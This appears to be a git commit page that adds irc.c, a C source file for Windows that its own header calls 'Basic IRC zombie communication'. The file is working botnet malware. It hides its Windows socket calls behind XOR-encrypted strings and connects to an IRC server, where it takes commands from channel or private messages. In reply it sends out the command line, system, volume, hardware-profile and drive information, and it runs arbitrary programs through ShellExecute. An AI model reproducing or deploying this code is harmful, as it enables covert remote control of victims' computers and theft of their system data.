aboutsummaryrefslogtreecommitdiff
path: root/source/irc.c
diff options
context:
space:
mode:
authorToni Uhlig <matzeton@googlemail.com>2020-05-24 16:48:22 +0200
committerToni Uhlig <matzeton@googlemail.com>2020-05-25 21:57:14 +0200
commit31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch)
tree16e789c7d68608831b498f41f54d9482b82a711a /source/irc.c
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'source/irc.c')
-rw-r--r--source/irc.c402
1 files changed, 402 insertions, 0 deletions
diff --git a/source/irc.c b/source/irc.c
new file mode 100644
index 0000000..f56147e
--- /dev/null
+++ b/source/irc.c
@@ -0,0 +1,402 @@
+/*
+ * Module: irc.c
+ * Author: Toni <matzeton@googlemail.com>
+ * Purpose: Basic IRC zombie communication.
+ * Origin: https://bbs.archlinux.org/viewtopic.php?id=64254
+ */
+
+#include <winsock2.h>
+#include <windows.h>
+
+#include "compat.h"
+#include "irc.h"
+#include "utils.h"
+#include "crypt.h"
+#include "crypt_strings.h"
+#include "xor_strings_gen.h"
+
+
+typedef int WSAAPI (*InitFunc) (WORD wVersionRequested, LPWSADATA lpWSAData);
+typedef int WSAAPI (*GetLastErrorFunc) (void);
+typedef SOCKET WSAAPI (*socketFunc) (int af, int type, int proto);
+typedef int WSAAPI (*shutdownFunc) (SOCKET s, int how);
+typedef int WSAAPI (*closesocketFunc) (SOCKET s);
+typedef int WSAAPI (*getaddrinfoFunc)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult);
+typedef int WSAAPI (*connectFunc) (SOCKET s, const struct sockaddr* name, int namelen);
+typedef int WSAAPI (*sendFunc) (SOCKET s, const char* buf, int len, int flags);
+typedef int WSAAPI (*recvFunc) (SOCKET s, char* buf, int len, int flags);
+typedef int WSAAPI (*setsockoptFunc) (SOCKET s, int level, int optname, const char* optval, int optlen);
+
+
+static ApiCall_t* SocketApi = NULL;
+#define FUNC(i) (SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)
+#define RUN_FUNC(i, type, ...) ((type)SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)(__VA_ARGS__)
+
+#define DECRYPT_AND_LIBGETPROC(i, lib, dest) { DBUF(i, tmp); dest = getproc(lib, tmp); }
+#define DECRYPT_AND_GETPROC(i, dest) DECRYPT_AND_LIBGETPROC(i, socklib, dest)
+#define DECRYPT_AND_GETPROCF(i) DECRYPT_AND_LIBGETPROC(i, socklib, FUNC(i))
+
+
+static WSADATA wsaData = {0};
+static struct addrinfo* irc_ip = NULL;
+static SOCKET sock = INVALID_SOCKET;
+
+static char* recv_buf = NULL;
+static char* send_buf = NULL;
+static char* tmp_buf = NULL;
+
+
+int checkSockStr(const char* chkbuf, enum stridx i)
+{
+ DBUF(i, needle);
+ int ret = COMPAT(strnicmp)(chkbuf, needle, CLEN(i));
+ return ret;
+}
+
+int initSocket(LoadLibraryFunc loadlib, GetProcAddressFunc getproc)
+{
+ if (SocketApi == NULL) {
+ SocketApi = COMPAT(calloc)(1, sizeof(struct ApiCall)*(XOR_SOCK_FUNCS_END-XOR_SOCK_FUNCS_START-1));
+ if (SocketApi == NULL)
+ return -1;
+
+ DBUF(SOCKDLL_ENUM, __nameSDLL);
+ HMODULE socklib = loadlib(__nameSDLL);
+ if (socklib == NULL)
+ return -2;
+
+ BOOL ret = TRUE;
+ for (unsigned i = XOR_SOCK_FUNCS_START+1; i < XOR_SOCK_FUNCS_END; ++i) {
+ if (FUNC(i))
+ continue;
+ DECRYPT_AND_GETPROCF(i);
+ if (!FUNC(i))
+ ret = FALSE;
+ }
+ if (!ret)
+ return -3;
+ }
+
+ if (!recv_buf) {
+ recv_buf = COMPAT(calloc)(S_BUFSIZ, sizeof(char));
+ if (!recv_buf)
+ return -4;
+ }
+ if (!send_buf) {
+ send_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char));
+ if (!send_buf)
+ return -4;
+ }
+ if (!tmp_buf) {
+ tmp_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char));
+ if (!tmp_buf)
+ return -4;
+ }
+
+ if (SocketApi) {
+ int res = RUN_FUNC(SOCKFUNC_INIT_ENUM, InitFunc, 0x202, &wsaData); /* WSA 2.2 */
+ if (res != 0)
+ return -5;
+ }
+
+ return 0;
+}
+
+int shutSocket(void)
+{
+ if (!SocketApi)
+ return -1;
+ if (RUN_FUNC(SOCKFUNC_SHUTDOWN_ENUM, shutdownFunc, sock, SD_BOTH) != 0
+ || RUN_FUNC(SOCKFUNC_CLOSESOCKET_ENUM, closesocketFunc, sock) == SOCKET_ERROR)
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+ return 0;
+}
+
+int ircRaw(const char* fmt, ...)
+{
+ if (!SocketApi)
+ return -1;
+
+ va_list ap;
+ va_start(ap, fmt);
+ int ret = COMPAT(vsnprintf)(tmp_buf, S_BUFSIZ+1, fmt, ap);
+ va_end(ap);
+
+ if (ret <= 0)
+ goto error;
+ size_t len = (ret < S_BUFSIZ ? ret : S_BUFSIZ);
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc_raw(%d/%d): %s\n", ret, len, tmp_buf);
+#endif
+ ret = RUN_FUNC(SOCKFUNC_SEND_ENUM, sendFunc, sock, tmp_buf, len, 0);
+ if (ret == SOCKET_ERROR)
+ goto error;
+
+error:
+ return ret;
+}
+
+int ircPrivmsg(const char* target, size_t totalSiz, const char* fmt, ...)
+{
+ char* buf = COMPAT(calloc)(totalSiz+1, sizeof(char));
+ off_t iBuf = 0;
+
+ va_list ap;
+ va_start(ap, fmt);
+ int ret = COMPAT(vsnprintf)(buf, totalSiz+1, fmt, ap);
+ va_end(ap);
+
+ char* msgfmt = "PRIVMSG %s :%s\r\n";
+ size_t fmtsiz = COMPAT(strlen)(target) + COMPAT(strlen)(msgfmt) - 4 /* len('%s')*2 */;
+ char tmp[S_BUFSIZ - fmtsiz + 1];
+ while (ret > 0 && ret != SOCKET_ERROR) {
+ size_t bufsiz = ((size_t)ret > S_BUFSIZ-fmtsiz ? S_BUFSIZ-fmtsiz : (size_t)ret);
+ COMPAT(memcpy)(&tmp[0], &buf[0]+iBuf, bufsiz);
+ tmp[bufsiz] = 0;
+
+ int s = ircRaw(msgfmt, target, &tmp[0]) - fmtsiz;
+ ret -= s;
+ iBuf += s;
+
+ _WaitForSingleObject(_GetCurrentThread(), 500);
+ }
+ COMPAT(free)(buf);
+ return iBuf;
+}
+
+int ircPrivmsgBinary(char* target, const unsigned char* buf, size_t siz)
+{
+ SIZE_T newsiz = 0;
+ char* hexstr = __xbintostr(buf, siz, 1, &newsiz);
+ int ret = -1;
+
+ if (hexstr && newsiz) {
+ ret = ircPrivmsg(target, newsiz, "%s", hexstr);
+ COMPAT(free)(hexstr);
+ }
+ return ret;
+}
+
+int ircLoop(const char* nick, const char* channel, const char* host, const char* port)
+{
+ if (!SocketApi)
+ return -1;
+
+ char *user, *command, *where, *message, *sep, *target;
+ int i, j, l, sl, o = -1, start = 0, wordcount;
+ struct addrinfo hints = {0};
+
+ hints.ai_family = AF_INET;
+ hints.ai_socktype = SOCK_STREAM;
+ hints.ai_protocol = IPPROTO_TCP;
+ if (!irc_ip && RUN_FUNC(SOCKFUNC_GETADDRINFO_ENUM, getaddrinfoFunc, host, port, &hints, &irc_ip) != 0) {
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+ }
+ if (irc_ip->ai_addrlen != sizeof(struct sockaddr_in) /* TCP/IP version 4 */)
+ return -2;
+
+ sock = RUN_FUNC(SOCKFUNC_SOCKET_ENUM, socketFunc, irc_ip->ai_family, irc_ip->ai_socktype, irc_ip->ai_protocol);
+ if (sock == INVALID_SOCKET) {
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+ } else {
+ int sopt = R_BUFSIZ;
+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_RCVBUF, (const char*)&sopt, sizeof(sopt));
+ sopt = S_BUFSIZ;
+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDBUF, (const char*)&sopt, sizeof(sopt));
+ sopt = S_TIMEOUT;
+ /* SO_RECVTIMEO should not less then irc server PING(-command) time */
+ //sApi->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&sopt, sizeof(sopt));
+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDTIMEO, (const char*)&sopt, sizeof(sopt));
+ unsigned char copt = 1;
+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_KEEPALIVE,(const char*)&copt, sizeof(copt));
+ }
+
+#ifdef _PRE_RELEASE
+ struct sockaddr_in* addr = (struct sockaddr_in*)irc_ip->ai_addr;
+ COMPAT(printf)("%s to %u.%u.%u.%u:%u\n", "irc: connecting",
+ addr->sin_addr.S_un.S_un_b.s_b1, addr->sin_addr.S_un.S_un_b.s_b2,
+ addr->sin_addr.S_un.S_un_b.s_b3, addr->sin_addr.S_un.S_un_b.s_b4,
+ SWAP_ENDIANESS16(addr->sin_port));
+#endif
+ if (RUN_FUNC(SOCKFUNC_CONNECT_ENUM, connectFunc, sock, irc_ip->ai_addr, irc_ip->ai_addrlen) != 0)
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("%s\n", "irc: connected !!");
+#endif
+ ircRaw("USER %s 0 0 :%s\r\n", nick, nick);
+ ircRaw("NICK %s\r\n", nick);
+
+ while ((sl = RUN_FUNC(SOCKFUNC_RECV_ENUM, recvFunc, sock, recv_buf, S_BUFSIZ, 0)) != 0 && sl != SOCKET_ERROR) {
+ for (i = 0; i < sl; i++) {
+ o++;
+ send_buf[o] = recv_buf[i];
+ if ((i > 0 && recv_buf[i] == '\n' && recv_buf[i - 1] == '\r') || o == S_BUFSIZ) {
+ send_buf[o + 1] = '\0';
+ l = o;
+ o = -1;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: %s", send_buf);
+#endif
+ if (!checkSockStr(send_buf, SOCKSTR_PING_ENUM)) {
+ send_buf[1] = 'O';
+ ircRaw("%s", send_buf);
+ } else if (send_buf[0] == ':') {
+ wordcount = 0;
+ user = command = where = message = NULL;
+ for (j = 1; j < l; j++) {
+ if (send_buf[j] == ' ') {
+ send_buf[j] = '\0';
+ wordcount++;
+ switch(wordcount) {
+ case 1: user = send_buf + 1; break;
+ case 2: command = send_buf + start; break;
+ case 3: where = send_buf + start; break;
+ }
+ if (j == l - 1) continue;
+ start = j + 1;
+ } else if (send_buf[j] == ':' && wordcount == 3) {
+ if (j < l - 1) message = send_buf + j + 1;
+ break;
+ }
+ }
+
+ if (wordcount < 2) continue;
+
+ if (!checkSockStr(command, SOCKSTR_MOTD_ENUM) && channel) {
+ ircRaw("JOIN %s\r\n", channel);
+ } else
+ if (!checkSockStr(command, SOCKSTR_PRIVMSG_ENUM) || !checkSockStr(command, SOCKSTR_NOTICE_ENUM)) {
+ if (where == NULL || message == NULL) continue;
+ if ((sep = strchr(user, '!')) != NULL) user[sep - user] = '\0';
+ if (where[0] == '#' || where[0] == '&' || where[0] == '+' || where[0] == '!') target = where; else target = user;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("[from: %s] [reply-with: %s] [where: %s] [reply-to: %s] %s\n", user, command, where, target, message);
+ ircRaw("PRIVMSG %s :%s\r\n", target, message);
+#endif
+ /* GetCommandLine(), GetSystemInfo(...), GetVolumeInformation(...), GetCurrentHwProfile(...), ShellExecute(...) */
+ if (!checkSockStr(message, SOCKCMD_GETCMD_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetCommandLine !!\n");
+#endif
+ char* cmdline = _GetCommandLine();
+ if (ircPrivmsg(target, COMPAT(strlen)(cmdline), "%s", cmdline) <= 0)
+ break;
+ } else
+ if (!checkSockStr(message, SOCKCMD_GETSYS_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetSystemInfo !!\n");
+#endif
+ SYSTEM_INFO si;
+ _GetSystemInfo(&si);
+ if (ircPrivmsgBinary(target, (unsigned char*)&si, sizeof(si)) <= 0)
+ break;
+ } else
+ if (!checkSockStr(message, SOCKCMD_GETVOL_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetVolumeInformation !!\n");
+#endif
+ char* root = NULL;
+ if (qtok(message, &message) && *message) {
+ root = qtok(message, &message);
+ if (root) {
+ size_t len = COMPAT(strlen)(root);
+ /* 0'ing \r\n */
+ if (len >= 2) {
+ root[len-1] = 0;
+ root[len-2] = 0;
+ }
+ }
+ }
+ struct gvi {
+ char volname[128];
+ DWORD volserial;
+ DWORD volflags;
+ char volfs[32];
+ };
+ struct gvi _gvi = {{0}, 0, 0, {0}};
+ if (_GetVolumeInformation(root, _gvi.volname, sizeof(_gvi.volname), &_gvi.volserial, NULL, &_gvi.volflags, _gvi.volfs, sizeof(_gvi.volfs)) == TRUE) {
+ if (ircPrivmsgBinary(target, (unsigned char*)&_gvi, sizeof(_gvi)) <= 0)
+ break;
+ } else {
+ ircRaw("PRIVMSG %s :ERROR\r\n", target);
+ }
+ } else
+ if (!checkSockStr(message, SOCKCMD_GETHWPROFILE_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetCurrentHwProfile !!\n");
+#endif
+ HW_PROFILE_INFO hw;
+ if (_GetCurrentHwProfile(&hw)) {
+ if (ircPrivmsgBinary(target, (unsigned char*)&hw, sizeof(hw)) <= 0)
+ break;
+ } else {
+ DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
+ DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
+ ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR);
+ }
+ } else
+ if (!checkSockStr(message, SOCKCMD_SHELLEXEC_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: ShellExecute !!\n");
+#endif
+ char* file = NULL;
+ char* params = NULL;
+ char* showCmd = NULL;
+ size_t len = 0;
+ if (qtok(message, &message) && *message) {
+ file = qtok(message, &message);
+ if (file && *message) {
+ params = qtok(message, &message);
+ if (params && *message) {
+ showCmd = qtok(message, &message);
+ if (showCmd) {
+ len = COMPAT(strlen)(showCmd);
+ /* 0'ing \r\n */
+ if (len >= 2) {
+ showCmd[len-1] = 0;
+ showCmd[len-2] = 0;
+ }
+ }
+ }
+ }
+ }
+ if (len > 0) {
+ long scmd = strtol(showCmd, NULL, 10);
+ DBUF(SOCKCMD_SHELLOP_ENUM, __nameSHOP);
+ DBUF(SOCKCMD_FMT1_ENUM, __nameFMT1);
+ DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
+ HINSTANCE si = _ShellExecute(NULL, __nameSHOP, file, params, NULL, scmd);
+ if ((int)si <= 32) {
+ ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)) + 12 /* len(int32_max)+ len(': ') */
+ , __nameFMT1, __nameMSGERR, (int)si);
+ }
+ } else {
+ DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
+ DBUF(SOCKCMD_MSGSHELL_ENUM, __nameMSGSH);
+ ircPrivmsg(target, COMPAT(strnlen)(__nameMSGSH, CLEN(SOCKCMD_MSGSHELL_ENUM)), __nameFMT0, __nameMSGSH);
+ }
+ } else
+ if (!checkSockStr(message, SOCKCMD_ENUMDEVICES_ENUM)) {
+ struct LogicalDrives* devs = COMPAT(calloc)(DEFAULT_DEVS, sizeof(struct LogicalDrives));
+ if (devs) {
+ DWORD count = dwEnumDrives(devs, DEFAULT_DEVS);
+ DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
+ DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
+ if (count > 0) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: EnumDrives: %d !!\n", (int)count);
+#endif
+ ircPrivmsgBinary(target, (unsigned char*)devs, count*sizeof(struct LogicalDrives));
+ } else ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR);
+ COMPAT(free)(devs);
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return 0;
+}